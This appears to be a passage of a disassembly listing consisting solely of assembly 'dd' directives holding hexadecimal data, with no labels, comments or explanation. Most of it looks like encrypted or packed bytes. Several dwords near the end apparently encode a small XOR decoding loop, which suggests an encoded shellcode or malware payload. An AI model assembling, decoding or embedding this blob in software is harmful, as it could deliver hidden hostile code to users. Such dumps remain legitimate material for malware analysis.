		dd 33F320DFh, 649E522Dh, 4B107ABFh, 0B408AD88h,	71A4C1B2h
		dd 0BD181675h, 4B670885h, 7CDE7008h, 0D69419EDh, 6E27087Ah
		dd 104D1CF4h, 116BCC73h, 10DB0844h, 0B262FA0Ch,	0C5458F64h
		dd 0F8456863h, 81276966h, 936DDF8Eh, 95104434h,	47D8976Eh
		dd 0EF0C6851h, 6F8AAEC7h, 0CC872708h, 0A8389A7Ah, 484D9E62h
		dd 2E2C4D0Ch, 0A47583F0h, 80726638h, 0C7A6C965h, 25117969h
		dd 81074DEh, 7BD3488Ch,	37CD08A3h, 36378FC4h, 888E10A4h
		dd 0C26610C8h, 74306973h, 75238C79h, 73770567h,	6B6FB36Ch
		dd 0BB748D18h, 0C804B414h, 0CC947A75h, 692812B8h, 20C9974Ch
		dd 1138C774h, 40F9D373h, 7948772Ch, 0AB45C915h,	0C3F513D5h
		dd 0E9A2FD62h, 6DA39C78h, 0A161410h, 4F286E08h,	1059770Bh
		dd 37C4AAA5h, 18C92D25h, 0F6A4D42Bh, 0AB186960h, 66806157h
		dd 0FFE60C4Dh, 184F6433h, 128B2D37h, 69384B13h,	18CBF010h
		dd 278D70C3h, 4C33C970h, 2B64102Eh, 6F5508A2h, 7AB20230h
		dd 0DF0940ABh, 21CD4BA8h, 8AC9280Ch, 3C73F31Ch,	70F3C24Fh
		dd 889F3DCEh, 4664E4CFh, 3B1F9287h, 671026E5h, 44106DE0h
		dd 10211A85h, 2D3705F0h
		dd 0B3C90841h, 94217FB4h, 0D41BCACh, 8811A5A0h,	0F7BC08A5h
		dd 0DA1209F3h, 74088827h, 69891D4Fh, 75F81067h,	6A0CA16Dh
		dd 1065ED23h, 8BB5376Ch, 16421C4Bh, 4DF17F08h, 4390A630h
		dd 55A60CE8h, 290CD2B8h, 2DBCBC75h, 0C6581B69h,	851F533h
		dd 3AC26B6Eh, 19B4DAF3h, 9AC79311h, 13AF0B19h, 7310294Ah
		dd 7A748D28h, 0C90144F8h, 0F66CF19Dh, 0D3285492h, 66FE6EECh
		dd 795A6BACh, 194DFC91h, 411C93EAh, 10A62E10h, 0F1E1AA75h
		dd 1A9E783Dh, 0EE7DD072h, 6B0C8194h, 4B2D5B6Dh,	1074298Fh
		dd 4E187A8Ah, 442D79F8h, 6FD426FFh, 64D4BF20h, 0DDB19608h
		dd 36C862A9h, 28D04418h, 9976D208h, 96735B19h, 0AD901057h
		dd 10B2AA9Eh, 0C85A5479h, 841B2D1Ch, 696A75C0h,	0A2A021E3h
		dd 49B60C30h, 4936106Dh, 0CC731065h, 62EC4745h,	0E06694D7h
		dd 16675B18h, 0B46C8D58h, 0B345E18h, 0D8770C0Ah, 0CA31104Dh
		dd 1069B932h, 0E863930Ah, 6C64240Ch, 60BC6F11h,	686529BCh
		dd 26255B3Ch, 186AE8E3h, 13B23421h, 89346708h, 1D61EBA5h
		dd 48621A10h, 809D4C2h,	1036F21Bh, 0D041696Ch, 0C4927810h
		dd 0F0864A0h, 65CA70E4h, 2F66A50Ch, 61CC94F1h, 0B5116835h
		dd 0BA2C1021h, 64C4126Fh, 0AB62B2A0h, 12204F24h, 73C50A90h
		dd 9588AF0Ch, 2DA56908h, 790C626Ch, 147A08A7h, 71722269h
		dd 6910B7D9h, 28B4A859h, 0B3660C22h, 69182CEDh,	523FA8FDh
		dd 67340C73h, 68CE5DD6h, 0E3C2900Ch, 4CACBBEEh,	11DADD18h
		dd 11E50D55h, 68DA926Ah, 18B74CF9h, 782495BFh, 0AD486AC9h
		dd 66D60804h, 8D10D748h, 0A20804B4h, 66144589h,	0FD11692Ch
		dd 1E73B185h, 996F5708h, 0AD19A7B8h, 1E2A1145h,	0FA7A1956h
		dd 6DD0366Ah, 8092E21h,	0C96E1393h, 0C8EEF245h,	9D5011D2h
		dd 93722D64h, 0F5117514h, 0DA1C4CF2h, 828B919h,	344CA3D6h
		dd 89451C2h, 0C9D71491h, 0D0C09F1h, 0B810A48Eh,	0A1101634h
		dd 88778914h, 79947493h, 6E14DE58h, 587A8910h, 0F981AC8Ch
		dd 487F5EE6h, 668A4F30h, 69094F4Ch, 0A3C6D69Bh,	9408E9D0h
		dd 412443E8h, 0F9504ECh, 68096D14h, 185410BBh, 8AA7963h
		dd 4D68AC69h, 29286628h, 0EF3E0C7Ah, 593CDC06h,	7510D9AAh
		dd 10685833h, 6B630898h, 0AF246992h, 18AB2699h,	0A8CCAF20h
		dd 0A4B710DDh, 0F975E629h, 8BBBD0DEh, 81F4508h,	80E506Ah
		dd 25DEA890h, 0ACEC84C2h, 7EE019D0h, 2A6CFB8Bh,	0F50873B8h
		dd 841D268h, 10848419h,	32796177h, 423C937Ah, 70271862h
		dd 107DD813h, 48A99397h, 1580210h, 5E086128h, 11631B74h
		dd 9A89BCBCh, 0B62C5110h, 54904910h, 8D7457EBh,	0EE2AEB54h
		dd 6EF84870h, 0DA9CFDB2h, 563A196Dh, 9C66C9EAh,	2C697018h
		dd 6200422Fh, 280342BEh, 43B5E40Ch, 6479A431h, 6104316Fh
		dd 0C69CA571h, 3D18DA23h, 2277DA05h, 0DE44670Ch, 5B0C20D1h
		dd 0FD8E06C6h, 9EC811BCh, 0BEFC3ADEh, 800822E3h, 0D17976EBh
		dd 0B85A0C6Ch, 0CC10DB32h, 0C9A768ECh, 4AE017C6h, 8B05CD2h
		dd 0B308A36Fh, 96A8BF73h, 0B4448967h, 84F1311h,	4128156Fh
		dd 6C30098Ah, 0FE0845A2h, 6867C9E1h, 0AF18DA5Ch, 9F2095E8h
		dd 119BAC2Dh, 5C08DE79h, 0D64D6866h, 2B4C8D10h,	0FA107276h
		dd 0AA31DF70h, 9977F83Ch, 6F25BCBEh, 0A8257AD1h, 20680C67h
		dd 9923186Dh, 7988106Ch, 51E208AAh, 0E2551C32h,	0B1C2F41h
		dd 825DC46Ch, 0E0657808h, 2A1C9C4Bh, 0FF088320h, 0CF006C1Bh
		dd 64CF6618h, 6111724Dh, 0BD42EAD0h, 20830250h,	17C329E5h
		dd 6908EA0Ch, 553F6C79h, 0BB2E4D0Ch, 1C65A910h,	733F6127h
		dd 0F8720842h, 507A58E6h, 402927DFh, 44841E50h,	3DEC1BBDh
		dd 0AF497710h, 0A8BF106Fh, 446E5504h, 0A27C10ACh, 26F6D780h
		dd 44B010ECh, 4A086CD1h, 5B08A010h, 91116036h, 0C510B774h
		dd 115FD664h, 41BC9B97h, 6411DD10h, 636F68h, 0A130B178h
		dd 61749C08h, 114D0724h, 10A1380Dh, 0EF6F3C48h,	6F87CA72h
		dd 41FB5521h, 4E6AA530h, 52AFF959h, 201A8662h, 0A2F51CA8h
		dd 9D66EC08h, 192AF51Bh, 218BBC6Dh, 43A51849h, 0B36B3208h
		dd 940C086Fh, 0B47F1474h, 2D082089h, 1713626Fh,	0DA9FBCC4h
		dd 0A04CD710h, 766910C3h, 6BBA3B75h, 0D4E70C55h, 132E008Dh
		dd 49B9960h, 419AAC0Ch,	0ECB3E608h, 797ABA05h, 30337362h
		dd 76618C74h, 78F52261h, 41E854DFh, 2AB811D4h, 7350106Fh
		dd 8A279C3h, 103288D1h,	0D0209A6Fh, 8C61559Ah, 0F261F471h
		dd 811141EBh, 4CABC80Dh, 0AC483CDCh, 584CB15Ch,	4544CCFh
		dd 0E0E3BF7Eh, 664E11FEh, 8C103426h, 0C610D2F0h, 74556544h
		dd 0D9FD380Ch, 391D6B11h, 44A4736Ch, 513FCEDFh,	0ABB23A08h
		dd 0C3F0841h, 771179A6h, 78FD29EFh, 80866B90h, 0C67D11DEh
		dd 718AD16Fh, 0A11CA43Ch, 356E1714h, 0D03EE258h, 90BD4C14h
		dd 78699008h, 1A0CD5AAh, 6EF26410h, 366A09F3h, 671010DCh
		dd 87A57468h, 460C1A7Bh, 0A9DA096Dh, 0A8080B78h, 0A1BF0813h
		dd 24E7B472h, 0F76D408h, 0B83E7A08h, 2DE37044h,	5A0CD064h
		dd 0D60C3510h, 0AA11FC66h, 0F3080E89h, 682A32E2h, 93FAF91Ch
		dd 0C184C424h, 6427A65Eh, 0C59D83A7h, 8D93B4B8h, 4F18A8D0h
		dd 18EC39BCh, 0F0DCAC73h, 56139D76h, 7677103Ch,	0E5EDB3B5h
		dd 94780CE6h, 8D53F21h,	8738894h, 11EC3693h, 606B7A36h
		dd 84BC9211h, 9D6EF090h, 10481C13h, 5EE04359h, 960416h
		dd 72746410h, 0DB19E876h, 0F5A84218h, 8434D36h,	6B976371h
		dd 0C0AB797h, 0DAB4A6A0h, 76AD0C48h, 526E6536h,	79D94F0Ch
		dd 2418697Fh, 0A162A4EFh, 97DB3F0Ch, 4D0CFA3Fh,	64081226h
		dd 5A3CA771h, 1016B024h, 116BDBA2h, 11D9B446h, 6382D7Ah
		dd 440D2A51h, 0C809F421h, 985A10A7h, 186DADB6h,	11DAA83Ch
		dd 808E64Ah, 164EB495h,	1661B108h, 1AB4C710h, 0D9D38A0h
		dd 92FA4A38h, 232B5C7Ch, 66621F08h, 0C731495h, 4608758Ah
		dd 74538B67h, 71D25B28h, 550C9A73h, 2D5CCD08h, 149A2888h
		dd 0A8DA147Ah, 62A5B9CBh, 8AA6E0Ch, 20544E82h, 683C738Ah
		dd 3EBE2CAFh, 2B6C08D5h, 0CD30A471h, 1D2875B0h,	7BCBB6C8h
		dd 3371A210h, 0D109B6ECh, 8458850h, 2842D068h, 0A028632Eh
		dd 7F11DEDAh, 2C2A51CBh, 22E01968h, 0BE4A9708h,	64E2E033h
		dd 19B567D3h, 0A16FCCADh, 355C460Bh, 0ECA420A1h, 8AA7B3Dh
		dd 92BE6AD0h, 0A649186Ch, 7CBD8228h, 16146862h,	6A70B26Bh
		dd 30A2BC10h, 1E7210CFh, 0EA1CDAA2h, 0B1922C0Fh, 9C11A636h
		dd 687432B5h, 0CC4060ACh, 0A275F667h, 0EC43CB40h, 0EC353489h
		dd 98667D31h, 0FE9B196Dh, 0E052088Dh, 49E1646Fh, 0A90A3B14h
		dd 582B0868h, 1BF91A37h, 93104030h, 0C38E570h, 0F2751899h
		dd 2D9EEC46h, 95B33A34h, 0AA641864h, 0EA106126h, 0FD1CA468h
		dd 185273FDh, 94C0B26Eh, 6C11DA88h, 50D8A032h, 0C05D7A41h
		dd 7C72E742h, 0F519ED80h, 51482261h, 66289FD1h,	0B3971135h
		dd 0B5D8D979h, 6711E318h, 385A6810h, 65C14EBCh,	5C496465h
		dd 0A218A0A4h, 0C45CD208h, 0D914274Fh, 4385015Eh, 0C172E68h
		dd 0A86925C2h, 0E429CE08h, 0F69F1037h, 0C077099h, 85677F5h
		dd 5C4349FDh, 32CC732Bh, 53A6C10h, 0B0EC6698h, 847F18DBh
		dd 750B1891h, 43E66B64h, 116BD311h, 64838A50h, 0EE24E5C4h
		dd 4CCB088Ah, 4DB46D11h, 122B104Dh, 4EA872E0h, 45F30664h
		dd 0B6592608h, 0B40C6E55h
		dd 825C04Ah, 0D311B896h, 8E68A5DEh, 0F6647910h,	0CE342A5Eh
		dd 9A89B237h, 0F008090Eh, 2A088B6Ch, 5F1861C2h,	115E2677h
		dd 0C3C4139Fh, 84097967h, 0EDD42897h, 0E2350CC8h, 0C1575A1h
		dd 749DEF16h, 5984A9F2h, 1019B4EAh, 129350E0h, 8B31BC07h
		dd 0DA72884Fh, 0D6F190A0h, 0BEF128CCh, 0CB273A4Dh, 6CF1C289h
		dd 1014367Ah, 116DDC9Ch, 447A39FEh, 0B76C9987h,	0E6FB9E58h
		dd 0D918D383h, 652992C8h, 0ABABFD4h, 0B4106C64h, 0A9202418h
		dd 5E109A0Fh, 0D31D6F50h, 69A1E270h, 50242810h,	1A232AC9h
		dd 0D00C6E94h, 5A219478h, 0D989EC27h, 503DB8E3h, 442C1DC8h
		dd 2DCCB61Eh, 3151108Ah, 496C10B3h, 244218D2h, 55709540h
		dd 51350875h, 8B0889F6h, 25D53B0Ch, 74256E18h, 0D628266Fh
		dd 4CEB2EB2h, 0B3BF740Ch, 6F193D83h, 0F2CCDD5Eh, 0E367D60Ch
		dd 19A4964Dh, 9C14A25Ch, 185153ACh, 88106AACh, 54CADA2Ch
		dd 3319EDF5h, 32116FF9h, 700C57E1h, 2857AB76h, 0C8766C11h
		dd 0FB207710h, 794F3C86h, 0A7E384C9h, 72AC6294h, 6CF50841h
		dd 1860662Bh, 0A6E76448h, 0A5694B19h, 0F111BF7Bh, 2E107955h
		dd 9AE40D10h, 12004210h, 21AADE10h, 83932A08h, 187AAF08h
		dd 187B2849h, 6D5698A0h, 73E5654Ch, 13E6085Dh, 19CDEC24h
		dd 821AA204h, 0FE0C1B57h, 0FC664B11h, 0CA25DE47h, 279A637Ch
		dd 0C8136E11h, 68E4A9C5h, 10A10896h, 68D9CEA0h,	0F43C6F11h
		dd 0F750289Eh, 0B36A44B4h, 72186DD4h, 0AE07C961h, 54680CFAh
		dd 505F10B7h, 8D1B7D0h,	0A369D940h, 6DF65508h, 84C610A0h
		dd 0D059F33Ch, 8E7C676Fh, 5B589B7h, 107F1408h, 65761099h
		dd 0A911AFCBh, 6F68DE9Dh, 7804A697h, 0D08BCC83h, 6849186Fh
		dd 532D72A3h, 16F9B2BDh, 5CF37550h, 0B859106Bh,	688748BCh
		dd 5189D47Eh, 13278975h, 65102FBAh, 524A3A64h, 40A212A1h
		dd 106B5208h, 0A8571C5Fh, 0F6A5F08h, 96D37092h,	9096187Eh
		dd 4335116Dh, 2C340814h, 2C4475ECh, 4EB9579h, 2A96107Ch
		dd 0CB542D8Fh, 6B94B36Ch, 0E5092220h, 4397B571h, 0F2D34CBCh
		dd 52306F20h, 109AD0A8h, 288AA5D0h, 0BD68465Dh,	555CF462h
		dd 0D073104Ch, 845B1022h, 3C485B40h, 64DB92D4h,	7C650C91h
		dd 10109BA1h, 90736F20h, 7245719Ch, 20093F25h, 6D6F283Ch
		dd 0AE9E1E12h, 1855532Ch, 6508123Ah, 10351D51h,	0B4787CF3h
		dd 7710CC6Dh, 547909C9h, 758A4F4Dh, 0CCF42604h,	14956410h
		dd 4A18D6C8h, 0EFD868BDh, 79CC6C94h, 86BA535Ah,	9963744Dh
		dd 0FA4D6419h, 36661093h, 8B7100Dh, 0F4A8186Dh,	6D530884h
		dd 0B8106E92h, 6D2D7A97h, 0E2512052h, 701F6E27h, 6D9870CAh
		dd 0F6512B10h, 0D2A14A08h, 995E92BCh, 0D310BF9Ch, 43515918h
		dd 0EE626A08h, 9B6D771Fh, 0A4207AD0h, 7911C98Bh, 253C35F1h
		dd 6E414963h, 843B7C49h, 89CA2717h, 4D664591h, 9C6A6C08h
		dd 69F20C68h, 19CD98BEh, 890F83Ch, 3C19C641h, 997E172Eh
		dd 7419AC90h, 6808D1B8h, 0F02D5E56h, 22D521AEh,	9654F14Ch
		dd 8110852h, 7C77CA1Ch,	0E957126Fh, 5AE3CDA1h, 6C8D0A19h
		dd 0B4652814h, 0E8F0A72Ch, 104D089Eh, 442362F5h, 90674878h
		dd 266B10D9h, 445A6B54h, 6E10CA5Eh, 8BE42504h, 48E862F9h
		dd 286829CEh, 0C4407814h, 391A6679h, 430DDF09h,	7F0807CEh
		dd 6E677328h, 2040FB99h, 0D1DFBA0Ch, 109AA011h,	4776ADE1h
		dd 0B36C5908h, 7C7418D2h, 73740804h, 2940E935h,	58A51464h
		dd 250C85BDh, 49EDBC52h, 56267A0Ch, 3C695310h, 7B627978h
		dd 9ACC8A74h, 7FD53CF1h, 5EFD20A3h, 8513DDCh, 11A4624Dh
		dd 4E78CB00h, 0C487191h, 18EDDCA6h, 6725CA21h, 1864CA33h
		dd 0AD8C8972h, 0F0484611h, 7C61526Bh, 0C19B9578h, 0DB8BE8C4h
		dd 48C24210h, 543AC44Eh, 894EB620h, 6475E2E8h, 11B1EB06h
		dd 6C726750h, 0CC2EDF69h, 10DD1DA0h, 263FFCABh,	7ECB886Dh
		dd 76DEB294h, 90C250A9h, 0D338D3D6h, 5567380Ch,	6B882408h
		dd 7F75C28Bh, 0AC08DC88h, 3608A10Fh, 0F4A6D232h, 0E013706Ah
		dd 0B538104Dh, 3A26119Bh, 0FE94C64h, 1C7A2AEFh,	637B91A0h
		dd 62EA10ABh, 46FE6919h, 9A10DFF4h, 9689E867h, 10A047D1h
		dd 3E2E2A9Eh, 44250C21h, 0F1FEF1C5h, 14FBA75Ah,	7950352Ah
		dd 10A66D08h, 7FF16884h, 0BAE06B34h, 1049F375h,	8243D54h
		dd 0A0CDB117h, 66BF18BCh, 10698D49h, 11510BB3h,	68C40AF0h
		dd 0D1A5C519h, 8C193719h, 4F7B2DE3h, 206DC89Ch,	0E6703293h
		dd 6C196724h, 0F941CC1Bh, 52BD647Eh, 649A2408h,	0E120290Ch
		dd 6A666A7Ah, 0A069B419h, 8C59FD08h, 24525954h,	4A2C24BBh
		dd 0B5207508h, 8BE503Eh, 694FE74Ah, 0ED856318h,	1867A0F6h
		dd 0BC408A6Dh, 94096F37h, 0F3068964h, 7449E071h, 8A0C906Fh
		dd 896F3873h, 4466DE69h, 6F51EC54h, 4119A56h, 65D46C04h
		dd 0B518AC66h, 68CDF00Fh, 0D5E6FE11h, 6DB011D6h, 1C7A5274h
		dd 890115Eh, 73326C5Dh,	34927711h, 2B9321EAh, 0ADF51D7Ch
		dd 10E02DB2h, 813513Eh,	8415549h, 10DBDD7Ch, 635D76EEh
		dd 68159F61h, 2D119AC0h, 61545ECAh, 0E220115Bh,	0D3E5526Fh
		dd 0A7481710h, 61196968h, 11AF64B4h, 82AC21E2h,	6EF37210h
		dd 65498CF2h, 0D4E25941h, 0A010CD28h, 79DDCAE0h, 6627D764h
		dd 3529DF16h, 0C352AE14h, 9E0CAC10h, 712614E9h,	0F468106Dh
		dd 66CD10DBh, 0E0B6AAA8h, 1D3B104Dh, 869D468h, 1804104Eh
		dd 206C7714h, 7868E396h, 6220049Dh, 549A9C11h, 8892158h
		dd 52042377h, 99FC5DA7h, 6C686F18h, 49791199h, 0D8B2110h
		dd 61B89380h, 4A10D226h, 9AB8A26Fh, 0CA506A18h,	0D80C2991h
		dd 9E08847Ch, 0FF082298h, 426A1C26h, 2A08A292h,	97106B65h
		dd 77C3301Bh, 82D937FDh, 0BCC4617Ah, 555141EBh,	0E2E4596Ch
		dd 0DE829A7Ah, 974F927Ch, 5564B60Dh, 622A10BEh,	0E010DF50h
		dd 0D02D6725h, 68CCAC4Fh, 45183E55h, 0CFD4B87Ah, 7463C956h
		dd 0B6574470h, 0E620696Ch, 5611D3C6h, 38F066BDh, 8135FAAh
		dd 0DF45BDCDh, 0D9EABD2Ch, 0F51F58A7h, 0F8685C56h, 8E889F5Ah
		dd 28641508h, 5C54199Ah, 24F8A82Dh, 1D2B704Dh, 0BC6612C2h
		dd 0DC189B2Ch, 1F9664EAh, 38412528h, 2857C17Ah,	0E210DB0Fh
		dd 63720B69h, 6E7D0C84h, 0CC68BF8Bh, 73477530h,	0E8AB124Ah
		dd 0C6429E9h, 56D4B1A5h, 4E4D6CF1h, 1C891804h, 586A0817h
		dd 0A472964Ch, 22B091A4h, 0E3A6822Ch, 5027F5DFh, 0A2896385h
		dd 7AA510BAh, 6809C4AFh, 0A47903E9h, 0EB267D11h, 2459104Dh
		dd 616C0801h, 33297119h, 6562679h, 2208D3BDh, 0BC57786Fh
		dd 0E1B64D05h, 660C456Dh, 7354116Ch, 69836724h,	14D43083h
		dd 0D068116Ch, 997828D0h, 0F608A014h, 1925856Eh, 0ED7956B8h
		dd 6ED17227h, 0FAEC31B5h, 1925264Eh, 406DD994h,	0D79266FEh
		dd 0E1928D10h, 74CA946Fh, 54A4784Ch, 736E20CBh,	0DA29B7E3h
		dd 24F83404h, 8F10AF0Ch, 502DC408h, 60A628BCh, 0D9677248h
		dd 246C7410h, 9BD65989h, 940851BEh, 4E086587h, 852BCC4h
		dd 0F77534F0h, 0EC10AFh, 0A6AB62F0h, 8D9511E6h,	12BC0410h
		dd 0AF93CD5Ah, 82F67011h, 0A270DC20h, 9B1F308h,	6A532D72h
		dd 0D0F2E4CDh, 615A2752h, 1179BDA6h, 4E262EEFh,	0EC099D10h
		dd 65E3F8BBh, 9962E8DDh, 273A7210h, 69628B4Fh, 78F1A452h
		dd 10A37B10h, 0DEECBCC4h, 0E4A26234h, 74792578h, 188A74Eh
		dd 447043A0h, 0B809AC64h
		dd 0C891C048h, 0DC44D422h, 12EC89E4h, 4FFC24F4h, 0C22F004h
		dd 891C1444h, 24341228h, 91484840h, 445C2254h, 74896C64h
		dd 88247C12h, 9C919048h, 0AC44A422h, 12BC89B4h,	48D024C4h
		dd 22E491DCh, 0C1F445ECh, 45D9BA45h, 22200991h,	38304428h
		dd 4C124089h, 5C485424h, 6C226491h, 89807444h, 24941288h
		dd 91A4489Ch, 44B822ACh, 0D889CCC0h, 0EC24E012h, 37B8F848h
		dd 0BC48D946h, 2C099145h, 40443422h, 1258894Ch,	486C2464h
		dd 227C9174h, 948C4484h, 0A4129C89h, 0B848AC24h, 0CC22C491h
		dd 89E8DC44h, 23FC12F4h, 0C9644704h, 2C481C09h,	897E3891h
		dd 24601250h, 91704868h, 4484227Ch, 9889908Ch, 0AC24A012h
		dd 0C091B848h, 0D444CC22h, 12E489DCh, 44F824ECh, 0C084804h
		dd 1C221491h, 89302444h, 2F401238h, 445422F1h, 74896860h
		dd 88247C12h, 98919048h, 0A844A022h, 12B889B0h,	48CC24C0h
		dd 22DC91D4h, 0F8F044E8h, 449828Bh, 91144808h, 4424221Ch
		dd 3C89342Ch, 4C91E817h, 60445422h, 12708968h, 48802478h
		dd 22909188h, 0A8A04498h, 0B812B089h, 0C848C024h, 0DC22D491h
		dd 89ECE444h, 22FC12F4h, 10044A04h, 24911C48h, 38452C22h
		dd 485024FAh, 2264915Ch, 88804470h, 98129089h, 0AC48A424h
		dd 0C022B491h, 89D0C844h, 24E412D8h, 88F848F0h,	0C114B04h
		dd 1C441422h, 122C8924h, 22D12F38h, 6058444Ch, 74126C89h
		dd 8C488024h, 0A4229891h, 89B4B044h, 24C812C0h,	91DC48D4h
		dd 45F022E8h, 4892AAF8h, 911009C8h, 44202218h, 38893028h
		dd 48244012h, 58915048h, 6C446422h, 12808978h, 48902488h
		dd 22A4919Ch, 0C0B844ACh, 0D012C889h, 0DC48D824h, 0EC22E491h
		dd 88FCF444h, 0F1DD4D04h, 0C817F122h, 2DF245BEh, 4824FA09h
		dd 5C915448h, 6C446422h, 12848978h, 489C2490h, 22AC91A4h
		dd 0D4C444B8h, 0E812DC89h, 0FC48F024h, 114E0488h, 4414220Ch
		dd 3089281Ch, 40243812h, 54914C48h, 6C446022h, 12808978h
		dd 48902488h, 22A09198h, 0B8B044A8h, 0C812C089h, 0DC48D024h
		dd 0EC22E491h, 88FCF444h, 10814F08h, 20241812h,	30912848h
		dd 40443822h, 1258894Ch, 48702464h, 22809178h, 98904488h
		dd 0A812A089h, 0BC48B024h, 0CC22C491h, 89E0D844h, 24F012E8h
		dd 500846F8h, 8817E9E1h, 2FF245BEh, 0D1096F91h,	54444C22h
		dd 1268895Ch, 48802474h, 22909188h, 0ACA04498h,	0C012B889h
		dd 0D448C824h, 0E422DC91h, 8BF8EC44h, 0E1745183h, 959C48Bh
		dd 24341224h, 914C483Ch, 44602254h, 7C897468h, 90248412h
		dd 0A4919848h, 0B444AC22h, 12C889BCh, 48E024D4h, 22F091E8h
		dd 520420FCh, 89140C44h, 24281220h, 91384830h, 44482240h
		dd 60895850h, 74246C12h, 84917C48h, 98448C22h, 12AC89A4h
		dd 48C024B8h, 22D091C8h, 0F4E844DCh, 7453838Bh,	9228BD9h
		dd 3028441Ch, 38123489h, 48484024h, 5C225491h, 89706444h
		dd 24881278h, 919C4890h, 44AC22A4h, 0C889C0B4h,	0DC24D412h
		dd 0F491E848h, 820FC22h, 18104454h, 2C122089h, 40483824h
		dd 50224891h, 89645C44h, 24781270h, 91904884h, 44A02298h
		dd 0BC89B0A8h, 0CC24C412h, 0E091D848h, 0F044E822h, 550488F8h
		dd 14120C81h, 24481C24h, 34222C91h, 24FA3C45h, 9154484Ch
		dd 4464225Ch, 7889706Ch, 90248412h, 0A4919C48h,	0BC44B022h
		dd 12D089C4h, 48E824DCh, 70F891F0h, 91E1566Eh, 48200964h
		dd 22309128h, 48404438h, 58125089h, 6C486024h, 80227891h
		dd 898C8444h, 249C1294h, 91B048A8h, 44C822BCh, 0E489D8D0h
		dd 0F424EC12h, 488FC48h, 22101157h, 30244418h, 0E8173889h
		dd 54224C91h, 89685C44h, 247C1274h, 91884884h, 44982290h
		dd 0B089A8A0h, 0C024B812h, 0D091C848h, 0E044D822h, 12F089E8h
		dd 2AC128F8h, 1809C8C8h, 2C222091h, 89403844h, 91F8174Ch
		dd 446C2260h, 84897C74h, 94248C12h, 0A891A048h,	0BC44B422h
		dd 12D089C4h, 48E024D8h, 22F091E8h, 0D959E0F8h,	121009D9h
		dd 48202418h, 22349128h, 48404438h, 5C125089h, 6C486424h
		dd 80227891h, 89908844h, 24A01298h, 91B448A8h, 44C422BCh
		dd 0E089D8D0h, 0F024E812h, 20B8F848h, 100C445Ah, 20121889h
		dd 30482824h, 40223891h, 89584C44h, 24681260h, 917C4874h
		dd 448C2284h, 0AC89A498h, 0C024B412h, 0D091C848h, 0E044D822h
		dd 12F089E8h, 5B082EF8h, 14220811h, 89201C44h, 2F38122Ch
		dd 445022D1h, 7089685Ch, 80247812h, 90918848h, 0A844A022h
		dd 12BC89B4h, 48CC24C4h, 22E091D4h, 0B7F445ECh,	0B248D18Ah
		dd 28242009h, 40913448h, 54454822h, 486424FEh, 227C9170h
		dd 908C4484h, 0A4129889h, 0B848AC24h, 0CC22C091h, 89E0D844h
		dd 2EF412ECh, 0D2D15D0Dh, 891C092Ch, 242C1224h,	913C4834h
		dd 44542248h, 7089685Ch, 84247C12h, 94918C48h, 0A844A022h
		dd 12BC89B4h, 48CC24C4h, 22DC91D4h, 0C1F445E8h,	9D9B25Eh
		dd 481C2410h, 222C9124h, 4C404438h, 60125889h, 74486824h
		dd 88227C91h, 89989044h, 24AC12A4h, 91BC48B4h, 44CC22C4h
		dd 0E889DCD4h, 0FC24F012h, 85F0444h, 2214910Ch,	2C24441Ch
		dd 3C123489h, 4C22D12Fh, 89545044h, 246C1260h, 91844878h
		dd 4494228Ch, 0A889A49Ch, 0B824B012h, 0C891C048h, 0E044D422h
		dd 12F089E8h, 17922DF8h, 9B248E8h, 48242418h, 22389130h
		dd 58484440h, 6C48FC8Bh, 7C227491h, 89948844h, 24AC12A0h
		dd 91C448B8h, 44D822CCh, 0F889F0E4h, 2610411h, 4814240Ch
		dd 22289120h, 483C4430h, 58125089h, 68486024h, 78227091h
		dd 89888044h, 249C1294h, 91B448A8h, 44C422BCh, 0DC89D4CCh
		dd 0EC24E412h, 0F891F448h, 22620410h, 20184410h, 30122889h
		dd 40483824h, 50224891h, 89605844h, 24741268h, 9188487Ch
		dd 44A02298h, 0B889B0A8h, 0C824C012h, 0D891D048h, 0EC44E422h
		dd 11FC89F4h, 0C026304h, 28481C24h, 3C223491h, 244C12FDh
		dd 915C4854h, 44702264h, 88898078h, 98249012h, 0AC91A448h
		dd 0BC44B422h, 12C889C4h, 48D424D0h, 22E891DCh,	0B6FC45F4h
		dd 4409E99Ah, 24891C14h, 34242C12h, 4C44A25Fh, 175C8954h
		dd 226C91F8h, 8C7C4474h, 9C129489h, 0B048A824h,	0C422B891h
		dd 89D8D044h, 24F012E4h, 650844F8h, 18911008h, 2C442422h
		dd 12408938h, 48502448h, 22609158h, 74704468h, 88127C89h
		dd 98489024h, 0A822A091h, 89BCB444h, 24CC12C4h,	91E048D8h
		dd 0E0F422E8h, 120C8166h, 481C2414h, 222C9124h,	0FA3C4534h
		dd 58484C24h, 70226491h, 89807844h, 24901288h, 91A04898h
		dd 44B022A8h, 0CC89C4B8h, 0DC24D412h, 0F491E848h, 437FC22h
		dd 0B248E967h, 28242009h, 3C913048h, 124C897Eh,	485C2454h
		dd 2278916Ch, 948C4480h, 0A4129C89h, 0BC48B424h, 0D022C891h
		dd 89E4D844h, 1D1B15F0h, 180922C9h, 892C2044h, 91E81738h
		dd 4454224Ch, 6C89645Ch, 80247412h, 94918C48h, 0A0449822h
		dd 12B889ACh, 48C824C0h, 22D891CCh, 0F4E844E0h,	411FC89h
		dd 45E1BA69h, 28092CE2h, 38123089h, 4C22D12Fh, 89645C44h
		dd 24781270h, 91884880h, 44982290h, 0B889ACA0h,	0C824C012h
		dd 0D891D048h, 0E844E022h, 17F889F0h, 0C8E16A06h, 1C911409h
		dd 30442822h, 12408938h, 48542448h, 22689160h, 80784470h
		dd 90128889h, 0A4489824h
		dd 0B822AC91h, 89C8C044h, 24E012D8h, 91F048E8h,	6B6E70F8h
		dd 96491E1h, 91284820h,	443C2234h, 64895848h, 78247012h
		dd 8C918048h, 0A4449822h, 12BC89B0h, 48D024C8h,	22E091D8h
		dd 0FCF444E8h, 0DD6C0488h, 9C822C9h, 2224911Ch,	40384430h
		dd 54124C89h, 64485C24h, 8974C4BFh, 2484127Ch, 919C4890h
		dd 44B022A8h, 0C889C0B8h, 0DC24D012h, 0E891E048h, 6DE0F022h
		dd 10120881h, 20481824h, 30222891h, 89403844h, 24501248h
		dd 91604858h, 44702264h, 84897C74h, 98249012h, 0A891A048h
		dd 0B844B022h, 0C25D8AC0h, 90C5DF64h, 50C20C21h, 85049443h
		dd 0B17C1020h, 4E013539h, 38119054h, 10454D10h,	58104B32h
		dd 0D338E50h, 0A23F023Fh, 3C5C68CCh, 0AC505D52h, 4D5B0880h
		dd 64395D67h, 141AD85Dh, 72EB0140h, 0E8050802h,	5B01FFF9h
		dd 0B966C931h, 73800E87h, 0E243D10Eh, 32184FF9h, 1B0C2DB1h
